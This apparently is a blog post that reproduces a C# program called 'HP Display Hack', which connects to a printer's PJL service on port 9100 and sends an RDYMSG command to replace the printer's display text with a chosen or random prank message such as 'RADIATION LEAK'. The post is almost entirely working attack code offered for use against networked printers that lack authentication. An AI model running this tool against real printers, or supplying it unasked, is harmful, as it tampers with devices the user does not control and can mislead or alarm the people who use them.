HP Printer hack display message

namespace hphack
{
using System;
using System.Text;
using System.Net;
using System.Net.Sockets;
public class PrnHack
{
public static int Main(string[] args)
{
if(!ParseArgs(args))
{
return -1;
}

Console.WriteLine(“\nHP Display Hack”);
Console.WriteLine(“Host: {0}”, args[0]);
Console.WriteLine(“Message: {0}\n”, message);

IPEndPoint ipEndPoint;
ipEndPoint = new IPEndPoint( Dns.Resolve(args[0]).AddressList[0], PJL_PORT);

Console.WriteLine(“Host is {0}”, ipEndPoint.ToString());

Socket socket;
socket = new Socket(
AddressFamily.InterNetwork,
SocketType.Stream,
ProtocolType.Tcp
);

socket.Connect(ipEndPoint);

byte [] sendData;
string sendString;

sendString = String.Format(
“\x1B%-12345X@PJL RDYMSG DISPLAY = \”{0}\”\r\n\x1B%-12345X\r\n”,
message
);
//PJL RDYMSG DISPLAY and not PJLRDYMSG DISPLAY. The latter makes it print the message.

sendData = Encoding.ASCII.GetBytes(sendString);

int result;
result = socket.Send(sendData, sendData.Length, 0);

if(result == 0)
{
Console.WriteLine(“Could not send on socket”);
}

socket.Close();

Console.WriteLine(“Finished\n\n”);
return 0;
}

protected static bool ParseArgs(string[] args)
{
if(args.Length != 2)
{
Console.WriteLine(
“HP Display Hack: ” +
“hphack printername \”message\” “
);
return false;
}

if(args[1].Length > 16)
{
Console.WriteLine(“Message must be <= 16 characters”);
return false;
}

if(args[1].CompareTo(“random”) == 0)
{
message = GetRandomMessage();
}
else
{
message = args[1];
}

return true;
}

public static string GetRandomMessage()
{
string [] Messages = {
“BUZZ OFF”,
“TOUCH ME”,
“STEP AWAY”,
“SET TO STUN”,
“SCORE = 3413”,
“PAT EATS MICE”,
“FEED ME”,
“GO AWAY”,
“NEED MORE SPACE”,
“POUR ME A DRINK”,
“IN DISTRESS”,
“NICE SHIRT”,
“GO AWAY”,
“NO PRINT FOR YOU”,
“RADIATION LEAK”,
“HANDS UP”,
“PRESS MY BUTTON”,
“TAKE ME HOME”,
“LOOKS LIKE RAIN”,
“HELLO WORLD”,
“NICE HAIR”,
“NEED A MINT?”,
“BE GENTLE”,
“BE KIND”,
“INSERT DISK”,
“BUY ME LUNCH”,
“DONT STOP”,
“COME CLOSER”,
“TAKE A BREAK”,
“INSERT QUARTER”,
“BLACK SABBATH”
};

Random r = new Random();
return Messages[r.Next() % Messages.Length];
}

protected const int PJL_PORT = 9100;
protected static string message = “NO MESSAGE”;

}
}

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5 thoughts on “HP Printer hack display message

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